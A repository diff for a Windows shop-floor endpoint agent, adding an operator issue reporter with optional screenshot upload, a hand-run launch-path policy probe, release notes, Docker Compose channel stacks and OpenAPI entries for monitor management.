# LaunchPathPolicy probe
A planted-violation probe for `LaunchPathPolicy`. It builds real fixtures under
a real approved root - a junction pointing out of it, an alternate data stream,
an 8.3 short name - and asserts what the policy does with each.
## Why it is not a unit test in CI
The cases worth testing are filesystem behaviour, not string behaviour:
junctions, alternate data streams and 8.3 short names do not exist on Linux, and
CI runs on Linux runners. A suite that skipped every meaningful case there would
report green and mean nothing, which is the failure shape this repo has already
been bitten by more than once. So it is a probe you run on Windows, by hand,
when the policy changes.
## Running it
Publish from the dev box and run it in the win11 VM:
dotnet publish agent/ShopDbEndpointAgent.PolicyProbe -c Release -r win-x64 \
--self-contained true -p:PublishSingleFile=true -o /tmp/lpp
Copy `lpp/lpptest.exe` into the VM and run it as an account that may create a
junction under Program Files. Exit code 0 means every expectation held; it
prints one line per case either way.
## What it caught
The first version of the link-resolving hardening recursed to the volume root
and asked whether `C:\` was a link. That throws, and the caller treated a
resolve failure as a rejection - so the policy rejected every legitimate launch
path as well as the malicious ones. It compiled cleanly and read correctly. Only
running it on Windows showed the agent would have failed closed on everything.

View File

@@ -0,0 +1,20 @@
<Project Sdk="Microsoft.NET.Sdk">
<!-- Planted-violation probe for LaunchPathPolicy. See README.md next to this
file: it is run BY HAND on Windows, not by CI, because the cases it
exists to catch are filesystem behaviour and CI runs on Linux.
net8.0, not net8.0-windows: the policy itself only touches System.IO, and
a plain target cross-publishes from the Linux dev box. -->
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
<AssemblyName>lpptest</AssemblyName>
<RootNamespace>LppTest</RootNamespace>
<InvariantGlobalization>true</InvariantGlobalization>
</PropertyGroup>
<ItemGroup>
<Compile Include="../ShopDbEndpointAgent.Core/LaunchPathPolicy.cs" Link="LaunchPathPolicy.cs" />
</ItemGroup>
</Project>

View File

@@ -1,6 +1,8 @@
using System.Threading;
namespace ShopDbEndpointAgent.Tray;
// Interactive user-session tray app (SCAFFOLD). Separate process from the
// Interactive user-session tray app (SCAFFOLD).
// headless Windows Service: the service owns telemetry, this owns the operator
// surface - a system-tray icon and the 5-click-max ServiceNow ticket flow
// (DESIGN-DECISIONS-agent.md section 6). This iteration wires the tray and a
@@ -8,9 +10,35 @@ namespace ShopDbEndpointAgent.Tray;
// is deferred until that decision is made server-side.
internal static class Program
{
// Machine-wide single-instance guard. The installer starts the tray from an
// HKLM Run value for every user at logon, and an operator can also launch it
// from the Start Menu shortcut, so a second copy is easy to spawn. A named
// mutex in the Global namespace keeps exactly one tray per session: a later
// launch that cannot own the mutex exits immediately instead of stacking a
// duplicate icon. Global\ scopes across sessions on the same machine.
private const string SingleInstanceMutexName = @"Global\ShopDbEndpointAgentTray";
[STAThread]
private static void Main()
private static void Main(string[] args)
{
// Headless icon export for the installer: `--export-icon <path>` writes
// the branded .ico and exits without starting the tray, so install.ps1
// can point the Start Menu shortcut at a real brand icon. Kept in this
// exe so the icon has a single source (TrayIcon) and no binary is
// checked into the repo.
if (args.Length >= 2 &&
string.Equals(args[0], "--export-icon", StringComparison.OrdinalIgnoreCase))
{
TrayIcon.Export(args[1]);
return;
}
using var singleInstance = new Mutex(true, SingleInstanceMutexName, out bool owned);
if (!owned)
{
return;
}
ApplicationConfiguration.Initialize();
Application.Run(new TrayContext());
}

View File

@@ -0,0 +1,34 @@
using System.Drawing.Imaging;
namespace ShopDbEndpointAgent.Tray;
// Captures the full virtual desktop (all monitors) to a PNG on disk, porting
// the operator PowerShell proof of concept:
// CopyFromScreen over SystemInformation.VirtualScreen, then Bitmap.Save as
// PNG. Kept in the tray project because only the interactive tray session can
// see the operator's desktop; the headless service runs in session 0 and
// would capture a black frame.
internal static class ScreenCapture
{
// Grab every monitor in one shot. VirtualScreen spans the whole desktop so
// a multi-head shop-floor PC is captured intact rather than just the
// primary display. Returns the saved file path.
public static string CaptureToPng(string filePath)
{
var bounds = SystemInformation.VirtualScreen;
using var bitmap = new Bitmap(bounds.Width, bounds.Height,
PixelFormat.Format32bppArgb);
using (var graphics = Graphics.FromImage(bitmap))
{
graphics.CopyFromScreen(bounds.Left, bounds.Top, 0, 0,
bounds.Size, CopyPixelOperation.SourceCopy);
}
var directory = Path.GetDirectoryName(filePath);
if (!string.IsNullOrEmpty(directory))
Directory.CreateDirectory(directory);
bitmap.Save(filePath, ImageFormat.Png);
return filePath;
}
}

View File

@@ -1,22 +1,20 @@
namespace ShopDbEndpointAgent.Tray;
// The 5-click-max issue reporter (SCAFFOLD). Target flow from
// DESIGN-DECISIONS-agent.md section 6:
// network precheck -> issue dropdown -> optional screenshot -> submit.
// This iteration renders the dropdown of fixed reasons and a submit button but
// does NOT talk to ServiceNow yet - the submission path (direct API vs proxied
// through a ShopDB server endpoint so ServiceNow creds stay server-side) is an
// open decision. Submit currently shows what WOULD be sent.
// The operator issue reporter. Collects a free-text description and an optional
// screenshot request, then hands the result back to TrayContext which performs
// the capture (after this dialog closes, so it never appears in the shot) and
// the upload via the service binary.
//
// Only "Other (free text)" is offered today: the fixed-reason routing from the
// original design is not wired to a ticketing backend, so a single free-text
// path is the one flow that works end to end. The dropdown is kept (disabled,
// preselected) so the richer reason list can return without reworking the form.
internal sealed class TicketForm : Form
{
// Fixed dropdown reasons from the source conversation (section 6).
// Only the free-text reason is functional. Kept as a one-item list so the
// control and its layout stay in place for the future reason routing.
private static readonly string[] Reasons =
{
"Can't logon to CSF",
"Data collections down",
"Can't download program",
"Machine communication failing",
"Network drives down",
"Other (free text)",
};
@@ -24,6 +22,11 @@ internal sealed class TicketForm : Form
private readonly TextBox detailBox;
private readonly CheckBox screenshotBox;
// Collected result, read by TrayContext after DialogResult.OK.
public string Reason => reasonBox.SelectedItem?.ToString() ?? "Other (free text)";
public string Details => detailBox.Text?.Trim() ?? string.Empty;
public bool IncludeScreenshot => screenshotBox.Checked;
public TicketForm()
{
Text = "Report an issue";
@@ -46,13 +49,16 @@ internal sealed class TicketForm : Form
Top = 40,
Width = 388,
DropDownStyle = ComboBoxStyle.DropDownList,
// Disabled until the fixed-reason routing exists; free text is the
// only functional path, so the selection is fixed on it.
Enabled = false,
};
reasonBox.Items.AddRange(Reasons);
reasonBox.SelectedIndex = 0;
var detailLabel = new Label
{
Text = "Details (optional)",
Text = "Details",
Left = 16,
Top = 76,
Width = 388,
@@ -72,6 +78,7 @@ internal sealed class TicketForm : Form
Left = 16,
Top = 188,
Width = 388,
Checked = true,
};
var submit = new Button
@@ -82,7 +89,6 @@ internal sealed class TicketForm : Form
Width = 76,
DialogResult = DialogResult.OK,
};
submit.Click += OnSubmit;
var cancel = new Button
{
@@ -101,18 +107,4 @@ internal sealed class TicketForm : Form
AcceptButton = submit;
CancelButton = cancel;
}
private void OnSubmit(object? sender, EventArgs e)
{
// Placeholder: show what would be submitted. The real path (screenshot
// capture to Pictures\Screenshots, then ServiceNow submit) lands once
// the direct-vs-proxied decision is made.
var summary =
$"Reason: {reasonBox.SelectedItem}\n" +
$"Details: {(string.IsNullOrWhiteSpace(detailBox.Text) ? "(none)" : detailBox.Text)}\n" +
$"Screenshot: {(screenshotBox.Checked ? "yes" : "no")}";
MessageBox.Show(
"Ticketing is not wired up yet. This would be submitted:\n\n" + summary,
"ShopDB agent (scaffold)", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}

View File

@@ -1,4 +1,7 @@
using System.Diagnostics;
using System.Reflection;
using ShopDbEndpointAgent.Core;
namespace ShopDbEndpointAgent.Tray;
@@ -44,10 +47,102 @@ internal sealed class TrayContext : ApplicationContext
trayIcon.DoubleClick += OnSendStatus;
}
private void OnReportIssue(object? sender, EventArgs e)
private async void OnReportIssue(object? sender, EventArgs e)
{
using var dialog = new TicketForm();
dialog.ShowDialog();
string reason;
string details;
bool includeScreenshot;
using (var dialog = new TicketForm())
{
if (dialog.ShowDialog() != DialogResult.OK)
return;
reason = dialog.Reason;
details = dialog.Details;
includeScreenshot = dialog.IncludeScreenshot;
}
var agentExe = ResolveAgentExe();
if (agentExe is null)
{
ShowBalloon("Report an issue", "Could not find " + AgentExeName +
". Is the ShopDB Endpoint Agent installed?", ToolTipIcon.Error);
return;
}
// Capture AFTER the dialog closes so the report form is never in the
// shot. Stage into the interactive operator's own profile
// (%USERPROFILE%\ShopDBScreenshots), NOT %TEMP%: on this locked-down
// image the tray process's TEMP resolves to a different account's
// AppData that ShopFloor cannot write, and AppData/Temp are aggressively
// ACL'd/redirected. The profile root is owned by the operator and, by
// inherited ACL, readable by SYSTEM (the agent service) so the handoff
// works. Files are kept for the operator to show a DT/specialist later;
// pruning is the agent's future server-driven Capture Cleanup job.
var storeDir = OperatorReportStoreDir();
var stamp = DateTime.Now.ToString("yyyyMMdd-HHmmss");
string? payloadPath = null;
try
{
Directory.CreateDirectory(storeDir);
string? screenshotPath = null;
if (includeScreenshot)
{
screenshotPath = Path.Combine(storeDir, "screenshot-" + stamp + ".png");
ScreenCapture.CaptureToPng(screenshotPath);
}
payloadPath = Path.Combine(storeDir, "report-" + stamp + ".json");
OperatorReportPayload.Write(payloadPath, reason, details, screenshotPath);
ShowBalloon("Report an issue", "Sending your report to ShopDB...",
ToolTipIcon.Info);
int exitCode = await RunAgentAsync(agentExe, "--report \"" + payloadPath + "\"");
if (exitCode == 0)
ShowBalloon("Report an issue", "Your report was sent to ShopDB.",
ToolTipIcon.Info);
else
ShowBalloon("Report an issue",
"Report send failed (exit " + exitCode +
"). See the agent log under ProgramData\\ShopDB.",
ToolTipIcon.Warning);
}
catch (Exception error)
{
ShowBalloon("Report an issue", "Could not send the report: " +
error.Message, ToolTipIcon.Error);
}
finally
{
// Only the transient JSON sidecar is removed; the screenshot stays
// for the operator. The agent also deletes the sidecar on success,
// so this just covers the failure path.
if (payloadPath is not null)
TryDeleteFile(payloadPath);
}
}
// The operator-visible folder screenshots and the report sidecar are staged
// into, under the interactive user's profile. Resolved in the tray (running
// as that user) and passed to the agent as an absolute path; the agent must
// never re-derive it, since as SYSTEM its profile would resolve elsewhere.
private static string OperatorReportStoreDir()
=> Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.UserProfile),
"ShopDBScreenshots");
private static void TryDeleteFile(string filePath)
{
try
{
if (File.Exists(filePath))
File.Delete(filePath);
}
catch
{
// Best-effort; a leftover sidecar is harmless and the agent also
// removes it on a successful upload.
}
}
// Runs shopdbagent.exe --once out of process so the operator can push a
@@ -74,7 +169,7 @@ internal sealed class TrayContext : ApplicationContext
try
{
int exitCode = await RunAgentOnceAsync(agentExe);
int exitCode = await RunAgentAsync(agentExe, "--once");
if (exitCode == 0)
ShowBalloon("Send Status", "Status sent to ShopDB.",
ToolTipIcon.Info);
@@ -96,12 +191,12 @@ internal sealed class TrayContext : ApplicationContext
}
}
private static Task<int> RunAgentOnceAsync(string agentExe)
private static Task<int> RunAgentAsync(string agentExe, string arguments)
{
var startInfo = new ProcessStartInfo
{
FileName = agentExe,
Arguments = "--once",
Arguments = arguments,
WorkingDirectory = Path.GetDirectoryName(agentExe) ?? Environment.CurrentDirectory,
UseShellExecute = false,
CreateNoWindow = true,
@@ -181,9 +276,36 @@ internal sealed class TrayContext : ApplicationContext
=> MessageBox.Show(
"ShopDB Endpoint Agent tray.\n" +
"Telemetry runs as the ShopDB Endpoint Agent Windows service.\n" +
"Send Status now reports this PC to ShopDB on demand.",
"Send Status now reports this PC to ShopDB on demand.\n\n" +
"Tray version: " + TrayVersion() + "\n" +
"Agent version: " + AgentVersion(),
"About", MessageBoxButtons.OK, MessageBoxIcon.Information);
// The tray's own assembly version, the same value stamped from the csproj
// <Version> at build time.
private static string TrayVersion()
=> Assembly.GetExecutingAssembly().GetName().Version?.ToString() ?? "unknown";
// The installed agent service exe's file version, read from wherever the
// tray resolves it (beside the tray, then the default install dir). The
// service and tray can legitimately be different versions, so this is shown
// as its own line rather than assumed equal to the tray. Degrades to a
// clear note when the agent exe is not found or its version is unreadable.
private static string AgentVersion()
{
var agentExe = ResolveAgentExe();
if (agentExe is null)
return "not found";
try
{
return FileVersionInfo.GetVersionInfo(agentExe).FileVersion ?? "unknown";
}
catch (FileNotFoundException)
{
return "not found";
}
}
private void OnExit(object? sender, EventArgs e)
{
trayIcon.Visible = false;

View File

@@ -62,6 +62,22 @@ internal static class TrayIcon
}
}
// Writes the branded icon to an .ico file so a Start Menu / desktop shortcut
// can show the brand instead of the generic exe icon. Reuses the same GDI+
// drawing as the tray so there is still one source of brand truth and no
// checked-in binary. 64px suits shortcut/large-icon views; the OS downscales.
public static void Export(string path, int size = 64)
{
using var icon = Create(size);
var directory = Path.GetDirectoryName(path);
if (!string.IsNullOrEmpty(directory))
{
Directory.CreateDirectory(directory);
}
using var stream = new FileStream(path, FileMode.Create, FileAccess.Write);
icon.Save(stream);
}
private static GraphicsPath RoundedRect(RectangleF rect, float radius)
{
float diameter = radius * 2;

View File

@@ -3,4 +3,6 @@
<Project Path="ShopDbEndpointAgent.Tray/ShopDbEndpointAgent.Tray.csproj" />
<Project Path="ShopDbEndpointAgent/ShopDbEndpointAgent.csproj" />
<Project Path="ShopDbAdoptionTool/ShopDbAdoptionTool.csproj" />
<!-- Run by hand on Windows, never by CI. See its README. -->
<Project Path="ShopDbEndpointAgent.PolicyProbe/ShopDbEndpointAgent.PolicyProbe.csproj" />
</Solution>

View File

@@ -10,6 +10,9 @@ using ShopDbEndpointAgent.Core;
// (default) run as a Windows Service (AddWindowsService)
// --console run interactively in the foreground for debugging
// --once collect and report exactly once, then exit (smoke test / cron)
// --report <path> upload one operator issue report (JSON sidecar written by
// the tray), then exit. Keeps the collector key in the
// service so the tray never holds a secret.
//
// Secrets are never read here: AgentConfigProvider layers the registry
// (HKLM\SOFTWARE\GE\ShopDB: CollectorKey, BaseUrl) over the shipped, non-secret
@@ -19,6 +22,7 @@ using ShopDbEndpointAgent.Core;
var runOnce = args.Any(a => string.Equals(a, "--once", StringComparison.OrdinalIgnoreCase));
var forceConsole = args.Any(a => string.Equals(a, "--console", StringComparison.OrdinalIgnoreCase));
var reportPayloadPath = ArgValue(args, "--report");
var agentVersion = Assembly.GetExecutingAssembly()
.GetName().Version?.ToString() ?? "0.0.0";
@@ -58,6 +62,9 @@ try
if (runOnce)
return await RunOnceAsync(config, agentVersion, logDirectory, faultMonitor);
if (!string.IsNullOrWhiteSpace(reportPayloadPath))
return await RunReportAsync(config, reportPayloadPath, logDirectory, faultMonitor);
await RunHostAsync(config, agentVersion, logDirectory, forceConsole);
return 0;
}
@@ -103,6 +110,61 @@ static async Task<int> RunOnceAsync(AgentConfig config, string agentVersion,
}
}
// Uploads one operator issue report described by a tray-written JSON sidecar,
// then deletes the payload folder. Runs out of process from the tray so the
// collector key stays in the service binary. The exit code is the tray's
// contract: 0 = uploaded, non-zero = failed (detail in the agent log).
static async Task<int> RunReportAsync(AgentConfig config, string payloadPath,
string logDirectory, AgentFaultMonitor faultMonitor)
{
using var services = BuildOnceServices(config, "0.0.0", logDirectory);
var client = services.GetRequiredService<CollectorClient>();
var logger = services.GetRequiredService<ILogger<CollectorClient>>();
try
{
var payload = OperatorReportPayload.Read(payloadPath);
var response = await client.UploadOperatorReportAsync(
payload.Reason, payload.Details, payload.ScreenshotPath,
Environment.MachineName, CancellationToken.None);
logger.LogInformation("Operator report uploaded: id={ReportId}",
response?.OperatorReportId);
return 0;
}
catch (Exception error)
{
faultMonitor.ReportFatal("--report", error);
return 1;
}
finally
{
// Remove only the transient JSON sidecar. The screenshot lives in the
// operator's %USERPROFILE%\ShopDBScreenshots folder and is deliberately
// KEPT so the operator can show it to a DT/specialist later; pruning it
// is the future server-driven Capture Cleanup job, not this path. (The
// sidecar previously sat in a throwaway temp folder we deleted whole;
// now it shares the operator's folder, so a recursive delete here would
// wipe saved screenshots.)
try
{
if (File.Exists(payloadPath))
File.Delete(payloadPath);
}
catch { /* best-effort; the tray also removes the sidecar */ }
}
}
// Read the value following a flag (e.g. --report C:\path\report.json). Returns
// null when the flag is absent or has no following token.
static string? ArgValue(string[] args, string flag)
{
for (int i = 0; i < args.Length - 1; i++)
{
if (string.Equals(args[i], flag, StringComparison.OrdinalIgnoreCase))
return args[i + 1];
}
return null;
}
static ServiceProvider BuildOnceServices(AgentConfig config, string agentVersion,
string logDirectory)
{

View File

@@ -7,7 +7,38 @@
<Nullable>enable</Nullable>
<RootNamespace>ShopDbEndpointAgent</RootNamespace>
<AssemblyName>shopdbagent</AssemblyName>
<!-- 1.4.1: run_script/update_app stage into a fixed, Defender-excludable
<!-- 1.6.3: operator issue reports stage under the interactive operator's
%USERPROFILE%\ShopDBScreenshots (resolved in the ShopFloor tray session)
instead of %TEMP%, which on locked-down endpoints redirected to another
user's AppData\Local\Temp and left the SYSTEM-context report upload
reading an inaccessible path. Screenshots use flat timestamped names and
are KEPT after a successful upload for operator review; only the transient
JSON sidecar is pruned, so the report path no longer recursively deletes
the shared folder. AgentFaultMonitor.ReportFatal now mirrors fatal report
failures to the rolling file log so unelevated tray-launched runs surface
a cause instead of exiting 1 silently.
1.6.2: command channel retires pooled TLS connections faster than the
server keep-alive (SocketsHttpHandler PooledConnectionIdleTimeout 1s,
PooledConnectionLifetime 2m). Fixes intermittent "unexpected EOF or 0
bytes from the transport stream" on the long-poll claim when the pool
reused a socket the server had already closed between hold windows.
Telemetry was unaffected; this only touched CommandClient.
1.6.1: republished against the current source so both site packages
(Wilmington and West Jefferson) carry the same vetted build. No agent
behavior change; the server now computes warn-only drift from the
service/process state the agent already reports each cycle.
1.6.0: a policy-attached process monitor may carry a launch path set by
a site leader in the WebUI; it rides the /monitors/resolved payload and
the agent honors it only after LaunchPathPolicy validates it (approved
root, exists, launchable extension). A local appsettings.json launchpaths
entry still wins; an unvalidated path is dropped and process_start fails
closed.
1.5.0: the agent fetches its watch list from server policy each
telemetry cycle (GET /api/endpoints/monitors/resolved) and merges it
over local appsettings.json, so a policy-attached process/service
monitor is enumerated and reported without editing the box. Fail-closed:
a failed fetch keeps the local list.
1.4.1: run_script/update_app stage into a fixed, Defender-excludable
folder (C:\ProgramData\ShopDB\EndpointAgent) instead of the LocalSystem
temp path, and run_script user-context waits for exit and reports the
real exit code instead of fire-and-forget "launched".
@@ -19,7 +50,7 @@
(AgentConfig.LaunchPaths, shipped defaults overridable per site).
1.1.0: generic, data-driven service_*/process_* actions carry their
target over the wire, so new policies/apps need no agent rebuild. -->
<Version>1.4.1</Version>
<Version>1.6.3</Version>
<InvariantGlobalization>true</InvariantGlobalization>
<RuntimeIdentifier>win-x64</RuntimeIdentifier>
<SelfContained>true</SelfContained>

View File

@@ -7,20 +7,10 @@
"utilitiespath": "",
"logpath": "",
"monitors": {
"processes": [
{ "name": "dncMain.exe", "app": "eDNC" },
{ "name": "udc.exe", "app": "Universal Data Collector" },
{ "name": "agent.exe", "app": "MTConnect" }
],
"services": [
{ "name": "MTConnect UDC Agent", "app": "MTConnect" }
]
"processes": [],
"services": []
},
"launchpaths": {
"DncMain.exe": "C:\\Program Files (x86)\\Dnc\\bin\\DncMain.exe",
"UDC.exe": "C:\\Program Files\\UDC\\UDC.exe",
"agent.exe": "C:\\ProgramData\\udc\\mtconnect_udc\\agent\\run.bat"
}
"launchpaths": {}
}

View File

@@ -32,6 +32,10 @@ x-app-env: &app-env
LOG_LEVEL: ${LOG_LEVEL:-INFO}
ZABBIX_URL: ${ZABBIX_URL:-}
ZABBIX_TOKEN: ${ZABBIX_TOKEN:-}
# Channel label for a distributable installer. Empty on the stable (main)
# bundle, 'DEV' on the edge (dev-be) bundle, which lights up the sidebar
# badge. Sourced from .env, which build-channel-installer.ps1 pre-fills.
SHOPDB_ENV_LABEL: ${SHOPDB_ENV_LABEL:-}
services:
db:

View File

@@ -0,0 +1,27 @@
# Channel overlay for side-by-side stable / bleeding-edge stacks.
#
# The base docker-compose.yml is channel-agnostic. This overlay adds only the
# pieces that differ between a stable (main) and an edge (dev-be) stack so the
# two can run at once on one dev workstation without colliding:
#
# - SHOPDB_ENV_LABEL is passed into the api container. When non-empty the
# public settings endpoint surfaces it as env_label and the sidebar renders
# a red DEV badge. Stable leaves it unset, so nothing renders.
# - Ports fall back to the SAME defaults as the base file, so running this
# overlay alone changes nothing; the bootstrap script overrides API_PORT /
# MYSQL_PORT for the edge stack so both channels bind distinct host ports.
#
# The stacks are isolated by compose project name (-p shopdb-stable /
# -p shopdb-edge), which namespaces containers, networks, and the named
# volumes, so each channel keeps its own database and instance state.
#
# Usage (driven by scripts/dev-bootstrap.ps1, shown here for reference):
# docker compose -p shopdb-edge \
# -f docker-compose.yml -f docker-compose.channel.yml up -d
services:
api:
environment:
# Empty on stable. The edge stack sets SHOPDB_ENV_LABEL=DEV in its .env
# (written by the bootstrap script) to light up the badge.
SHOPDB_ENV_LABEL: ${SHOPDB_ENV_LABEL:-}

95
docker-compose.pull.yml Normal file
View File

@@ -0,0 +1,95 @@
# shopdb-flask PULL stack for dev workstations (stable / edge channels).
#
# WHY this exists: pilots behind an inspecting proxy cannot reliably BUILD the
# image from source (npm's many small fetches get reset mid-install). Instead
# CI (.github/workflows/publish-images.yml) builds the image on clean runners
# and publishes it to GHCR; this file just PULLS and RUNS it. One resumable
# image pull survives the proxy where hundreds of npm requests do not.
#
# Nothing is built here (no `build:`), mirroring docker-compose.airgap.yml:
# - api/migrate use `image:` (pulled from GHCR), never `build: .`.
# - NO ./plugins bind mount; the image carries every plugin baked in.
# - a one-shot `migrate` runs db upgrade + plugin upgrade-all + seed before
# api starts, so `up -d` alone brings up a working site.
#
# Driven by scripts/dev-bootstrap.ps1, which sets SHOPDB_IMAGE (the channel
# image ref), SHOPDB_ENV_LABEL, API_PORT and MYSQL_PORT per channel and picks a
# compose project name (-p shopdb-stable / -p shopdb-edge) so the two channels
# run side by side without colliding.
x-app-env: &app-env
FLASK_APP: wsgi.py
FLASK_ENV: production
DATABASE_URL: mysql+pymysql://shopdb:${MYSQL_PASSWORD}@db:3306/shopdb_flask?charset=utf8mb4
SECRET_KEY: ${SECRET_KEY:?SECRET_KEY must be set}
JWT_SECRET_KEY: ${JWT_SECRET_KEY:?JWT_SECRET_KEY must be set}
CORS_ORIGINS: ${CORS_ORIGINS:?CORS_ORIGINS must be set}
LOG_LEVEL: ${LOG_LEVEL:-INFO}
# Empty on stable; 'DEV' on edge, which lights the sidebar badge.
SHOPDB_ENV_LABEL: ${SHOPDB_ENV_LABEL:-}
services:
db:
image: mysql:8.4
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD:?MYSQL_ROOT_PASSWORD must be set}
MYSQL_DATABASE: shopdb_flask
MYSQL_USER: shopdb
MYSQL_PASSWORD: ${MYSQL_PASSWORD:?MYSQL_PASSWORD must be set}
volumes:
- db_data:/var/lib/mysql
ports:
- "127.0.0.1:${MYSQL_PORT:-3306}:3306"
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-u", "root", "-p${MYSQL_ROOT_PASSWORD}"]
interval: 10s
timeout: 5s
retries: 5
# One-shot schema + seed. Runs to completion and exits; api waits for it.
# Every step is idempotent, so it is safe to run on every `up`.
migrate:
image: ${SHOPDB_IMAGE:?SHOPDB_IMAGE must be set to the channel image ref}
pull_policy: always
restart: "no"
depends_on:
db:
condition: service_healthy
environment:
<<: *app-env
command:
- sh
- -c
- >
flask db upgrade &&
flask plugin upgrade-all &&
flask seed permissions &&
flask seed settings &&
flask seed reference-data
volumes:
- instance_data:/app/instance
api:
image: ${SHOPDB_IMAGE:?SHOPDB_IMAGE must be set to the channel image ref}
pull_policy: always
restart: unless-stopped
depends_on:
db:
condition: service_healthy
migrate:
condition: service_completed_successfully
environment:
<<: *app-env
ports:
# Loopback only, same as the DB below. This stack generates its own
# dev secrets and may hold a real imported dataset; it has no business
# listening on every interface of a laptop on a shop-floor network.
- "127.0.0.1:${API_PORT:-5001}:5001"
volumes:
- instance_data:/app/instance
volumes:
db_data:
instance_data:

View File

@@ -99,6 +99,11 @@ services:
retries: 3
volumes:
- ./plugins:/app/plugins:ro
# Standalone operator scripts shipped inside generated bundles (the
# endpoint-agent uninstaller). Read-only, same pattern as plugins: the
# site-agent packaging route reads uninstall-shopdbagent.ps1 from here at
# download time, so it must be visible in the container.
- ./scripts:/app/scripts:ro
# Self-signed TLS material for the dev/test https listener. Read-only;
# generated on the host under ./certs and never baked into the image.
- ./certs:/app/certs:ro

View File

@@ -21826,8 +21826,8 @@
"tags": [
"plugin-endpoints"
],
"summary": "List endpoints reporting through the ShopDB agent, with last-seen and online state",
"description": "List endpoints reporting through the ShopDB agent, with last-seen and online state\n\n**Auth:** endpoints.view\n\n**Params:** query: search (hostname substring)\n\n**Example:**\n```\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:5001/api/endpoints\n```",
"summary": "List endpoint states. Registered both with and without the trailing slash, so both forms are described here",
"description": "List endpoint states. Registered both with and without the trailing slash, so both forms are described here\n\n**Auth:** endpoints.view\n\n**Params:** query: search (hostname substring)\n\n**Example:**\n```\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:5001/api/endpoints\n```",
"security": [
{
"bearerAuth": []
@@ -22718,6 +22718,432 @@
}
}
},
"/api/endpoints/monitors": {
"get": {
"tags": [
"plugin-endpoints"
],
"summary": "List every monitor definition, shipped and local, ordered shipped-first then by display name",
"description": "List every monitor definition, shipped and local, ordered shipped-first then by display name\n\n**Auth:** jwt + require_permission endpoints.view\n\n**Params:** none\n\n**Example:**\n```\ncurl http://localhost:5001/api/endpoints/monitors -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
}
},
"post": {
"tags": [
"plugin-endpoints"
],
"summary": "Create a local monitor definition; source is forced to 'local' so a caller cannot mint a shipped row",
"description": "Create a local monitor definition; source is forced to 'local' so a caller cannot mint a shipped row\n\n**Auth:** jwt + require_role admin\n\n**Params:** body: kind (process|service, required), displayname (required), processname (required for process), servicename (required for service), launchpath, datacollectorpath, logcollectorpath, isactive (default true)\n\n**Example:**\n```\ncurl -X POST http://localhost:5001/api/endpoints/monitors -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' -d '{\"kind\":\"service\",\"displayname\":\"Spooler\",\"servicename\":\"Spooler\"}'\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
}
},
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"additionalProperties": true,
"description": "body: kind (process|service, required), displayname (required), processname (required for process), servicename (required for service), launchpath, datacollectorpath, logcollectorpath, isactive (default true)"
}
}
}
}
}
},
"/api/endpoints/monitors/{monitor_id}": {
"put": {
"tags": [
"plugin-endpoints"
],
"summary": "Update a local monitor definition; 403 on a shipped row, which is product-owned and read-only",
"description": "Update a local monitor definition; 403 on a shipped row, which is product-owned and read-only\n\n**Auth:** jwt + require_role admin\n\n**Params:** path: monitor_id; body: same fields as create, all optional\n\n**Example:**\n```\ncurl -X PUT http://localhost:5001/api/endpoints/monitors/4 -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' -d '{\"isactive\":false}'\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "monitor_id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
],
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"additionalProperties": true,
"description": "path: monitor_id; body: same fields as create, all optional"
}
}
}
}
},
"delete": {
"tags": [
"plugin-endpoints"
],
"summary": "Delete a local monitor definition; 403 on a shipped row",
"description": "Delete a local monitor definition; 403 on a shipped row\n\n**Auth:** jwt + require_role admin\n\n**Params:** path: monitor_id\n\n**Example:**\n```\ncurl -X DELETE http://localhost:5001/api/endpoints/monitors/4 -H \"Authorization: Bearer $TOK\"\n```",
"security": [
{
"bearerAuth": []
}
],
"responses": {
"200": {
"description": "Success. Body is the success_response envelope: {status, data, meta}.",
"content": {
"application/json": {
"$ref": "#/components/schemas/SuccessEnvelope"
}
}
},
"default": {
"description": "Error. Body is the error envelope; the code and message are nested under data.error.",
"content": {
"application/json": {
"$ref": "#/components/schemas/ErrorEnvelope"
}
}
},
"401": {
"description": "Missing or invalid credentials."
},
"403": {
"description": "Authenticated, but not permitted."
},
"404": {
"description": "No such record."
}
},
"parameters": [
{
"name": "monitor_id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
}
]
}
},
"/api/endpoints/monitors/resolve": {
